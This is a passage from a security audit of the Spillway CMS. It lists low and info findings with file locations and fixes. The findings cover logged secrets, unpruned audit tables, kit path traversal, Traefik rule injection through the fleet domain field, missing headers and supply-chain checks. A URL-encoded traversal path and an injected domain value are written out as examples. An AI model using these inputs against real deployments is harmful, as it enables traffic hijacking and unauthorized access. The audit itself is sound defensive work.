Fix: add deleteSessionsForUser(db, userId) and call it from PUT /api/users/:id when password or roles change (and from DELETE); add password_changed_at to user and reject sessions created before it; add absoluteExpiresAt (e.g. 90 days) to the session row; call deleteExpiredSessions from the ticker; offer POST /api/auth/logout-all.

F-14 (Low, CONFIRMED): secrets and PII in the outbox and logs

Where: packages/core/src/notifications/outbox.ts:176-209 (payload includes channel.secret and full submission.data), :312 and packages/core/src/forms/connectors/email.ts:43 (full message text at info when SMTP_URL is unset), packages/core/src/forms/service.ts:288.

// outbox.ts:176
resolved = { kind: 'webhook', url: channel.url, secret: channel.secret };   // stored in outbox.payload in clear
// email.ts:43
log.info('form email (SMTP_URL not set; logging instead of sending)', { to, subject, text });

maskRule/maskForm keep secrets out of the API, but outbox.payload keeps them (and visitor PII) for up to OUTBOX_KEEP * 2 = 1000 rows, and a fresh install without SMTP writes every submission to stdout, which on Fly/Docker/Kubernetes is shipped to a log platform with its own retention and access rules.

Fix: store rule_id and re-read the secret at delivery time instead of copying it; log only { to, subject, submissionId } when SMTP is unset; redact data from form.submitted outbox rows after delivery (delivered_at set) or keep only field keys.

F-15 (Low, CONFIRMED): unbounded audit_log and path_miss

Where: packages/core/src/auth/bearer.ts:56-62 (an api_token.request audit row per bearer request, including /mcp at 120 calls per minute per token), packages/core/src/marketing/redirects.ts:158-167,231-237 (one row per unique 404 path up to 300 chars, keyed by the normalized path, from anonymous traffic).

An agent polling with a token writes ~170k audit rows a day; a crawler requesting /<random> writes one path_miss row each (the noise regex filters extensions and WordPress paths, not random slugs). Neither table is pruned.

Fix: sample or aggregate bearer requests (one row per token per minute with a counter, or only log mutating methods), cap path_miss rows (keep top N by count, delete below a threshold nightly), and add retention to audit_log (SPILLWAY_AUDIT_RETENTION_DAYS, default 365).

F-16 (Low, PLAUSIBLE): kit key path traversal

Where: packages/core/src/routes/kits.ts:20-27, packages/core/src/kits/index.ts:81-85.

// kits/index.ts:81-84
export function loadKit(key: string, dir = kitsDir()): KitManifest | null {
  const file = path.join(dir, key, 'kit.json');
  if (fs.existsSync(file)) return validateManifest(JSON.parse(fs.readFileSync(file, 'utf8')), file);

Hono decodes route parameters, so POST /api/kits/..%2F..%2Fdata%2Fx/install resolves <kits>/../../data/x/kit.json. The file must still parse as a kit manifest, so the practical impact is installing a kit from an unexpected directory (for example one a module wrote under DATA_DIR), not reading arbitrary files; it needs types.manage + site.settings.

Fix: validate key against CONTENT_TYPE_KEY_RE before loadKit, and resolve with resolveInside(dir, key).

F-17 (Low, CONFIRMED): fleet domain is interpolated unvalidated

Where: packages/fleet/src/service.ts:33, packages/fleet/src/provision.ts:30, packages/fleet/src/adapters/docker.ts:163 (labels[`traefik.http.routers.${spec.appName}.rule`] = `Host(\`${spec.domain}\`)`), adapters/kubernetes.ts Ingress hosts, BASE_URL in every adapter.

A fleet API caller (authenticated with the service token) can pass example.com`) || PathPrefix(`/, rewriting the Traefik rule to capture other sites' traffic on a shared Traefik, or a value with newlines into the hand-rolled YAML (yaml.ts quotes strings that fail PLAIN_RE, which mitigates the YAML case). appName is properly constrained by APP_NAME_RE.

Fix: domain: z.string().regex(/^(?=.{1,253}$)([a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,63}$/i) in both schemas.

F-18 (Low, CONFIRMED): missing security headers

Where: packages/core/src/app.ts:105-109 sets only X-Content-Type-Options and Referrer-Policy; admin/static.ts and render/routes.ts:30-45 add none.

The admin SPA can be framed (clickjacking of publish/delete/user actions), there is no CSP to blunt F-02, and no HSTS when BASE_URL is https.

Fix: app.use('/admin/*', secureHeaders({ contentSecurityPolicy: { defaultSrc: ["'self'"], scriptSrc: ["'self'"], frameAncestors: ["'none'"], ... }, strictTransportSecurity: ctx.config.baseUrl?.startsWith('https://') ? 'max-age=31536000' : false })) from hono/secure-headers; a nonce-based CSP on /_preview/* and the public renderer (the inline alert script and GTM snippets would get the nonce).

F-19 (Info): password hashing and cookie flags

packages/core/src/auth/password.ts:4 uses scrypt N=16384, r=8, p=1 with a 16-byte salt and 64-byte key; OWASP's 2024+ floor is N=2^17, r=8, p=1 (or 2^16/r=8/p=2). The prefix format allows migration: bump N and rehash on successful login when the stored parameters are below the floor. session.ts:37 marks the cookie Secure only when BASE_URL starts with https://; prefer also honoring X-Forwarded-Proto from trusted proxies (F-06) and consider the __Host- prefix.

F-20 (Info): prompt-injection surface and dormant dependencies

MCP tool results (mcp/tools.ts) return entity data, comments and search snippets as JSON without any framing, and ai/prompts/assist.ts:51 concatenates the user's instruction and existing text into the prompt. There is no server-side tool calling, so the blast radius is the calling agent's own actions, but documenting that tool output is untrusted content (and wrapping it in a clearly labeled JSON field such as untrusted_content) helps agent authors. jose@6.2.15 and @node-saml/node-saml@5.2.0 are in core's dependencies with no caller at HEAD; keep them out of the runtime image until the SSO branch lands.

F-21 (Info): supply chain and CI

Resolved versions: hono@4.13.16, @hono/node-server@1.19.18, kysely@0.28.19, pg@8.23.1, better-sqlite3@12.11.1, sharp@0.35.5, zod@3.25.76, react@19.3.1, react-router@7.18.5, @puckeditor/core@0.24.0, @tiptap/*@3.32.2, vite@6.4.5, esbuild@0.25.12, jose@6.2.15, @node-saml/node-saml@5.2.0. None of these falls in a range with a published advisory that I am aware of as of this review (the 2025 Hono body-limit and JWT advisories were fixed before 4.10; react-router's 2025 SSR advisories before 7.5.2; vite's dev-server fs advisories before 6.2.3/6.3; esbuild's dev-server CORS issue in 0.25.0). The lockfile is frozen in CI and in the Dockerfile, the runtime image runs as node, and the build toolchain is purged. Missing: pnpm audit --prod (or OSV-Scanner) and CodeQL/semgrep steps in ci.yml, a HEALTHCHECK that does not need curl in the image (keeps the attack surface smaller), and pnpm.overrides/minimumReleaseAge to blunt a hijacked patch release.


Routes reviewed

All routes in routes/*.ts, render/routes.ts, admin/static.ts and app.ts were enumerated. Every mutating /api route carries requirePermission/requireUser/requireEditAccess except, by design, POST /api/setup (guarded by isInstalled) and POST /api/forms/:key/submit (public, CSRF-exempt, honeypot + fill-time + IP limiter). Read routes that expose non-public data (/entities*, /users*, /tokens, /forms/*/submissions*, /notifications/outbox, /review/queue, /modules*, /ai/settings, /ai/usage, /redirects*, /site/structure) are all guarded; GET /api/entities/by-path hands anonymous callers only the published revision; GET /api/collections/:id/items, /api/search, /api/vocabularies/:id/terms (term-page vocabularies only), /_alerts, feeds and SEO files are public and limited to published content. IDOR checks hold for revisions (editorial.ts:100 checks entityId), comments (author or edit_any), submissions (scoped by form_id), locks, shared blocks, terms and modules; restoreRevision checks old.entityId !== id. The audit log has no read route at all.

What is done well

  • Session and token design: 32-byte random session tokens stored only as an HMAC under a 0600 secret; API tokens with a public prefix and a sha256 secret compared in constant time; token permissions intersected with the user's current roles on every request; tokens cannot be minted or revoked with another token; expiry handled.
  • CSRF: a custom-header requirement on every mutating /api call, with the two exemptions (public form submit, bearer) each justified in a comment.
  • SQL: Kysely throughout; every sql\`` fragment binds values (collections.ts,search/*.ts,db/index.ts), user field names are gated byFIELD_KEY_REand system columns by an allow-list, sort columns come from a fixed map, FTS5 and tsquery input is tokenized and quoted,LIKE` input is escaped.
  • Rich text: a tokenizing allow-list sanitizer (richtext/sanitize.ts) that decodes entities before scheme checks, drops javascript:/data: and protocol-relative URLs, strips content of script-bearing tags, forces rel=noopener on _blank, and runs both on save and on render.
  • Uploads: magic-byte sniffing before extension, HTML never served as HTML, SVG served with Content-Security-Policy: sandbox, nosniff everywhere, filenames sanitized and bound to the item id, derivative paths checked against the store root, sharp with limitInputPixels.
  • Tar extraction: links, absolute paths, .., NUL and base-256 sizes refused; gunzip with maxOutputLength; entry and byte caps; resolveInside on every write.
  • Wasm sandbox: imports restricted to three host functions, declared memory maximum enforced, guest-time and wall-clock budgets, output size caps, worker resourceLimits, response size cap on sw_http.
  • Secrets at rest: AI keys AES-256-GCM under a 0600 file; webhook secrets masked on read with a round-trip mask; structure export strips secrets; Postgres URLs redacted in logs; fleet state file 0600 and bearer compared with timingSafeEqual.
  • Redirect handling: form redirects are reduced to pathname + search on the request origin; // and \ targets refused; admin redirect targets validated; alert bodies escaped client-side.
  • Error handling: a central onError that returns structured codes and escaped HTML, never a stack trace.
  • Build: frozen lockfile in CI and Docker, non-root runtime, build tools purged from the image, Postgres and SQLite test matrices.

Spillway 0.1.0 · Edit this page on GitHub

Was this page helpful?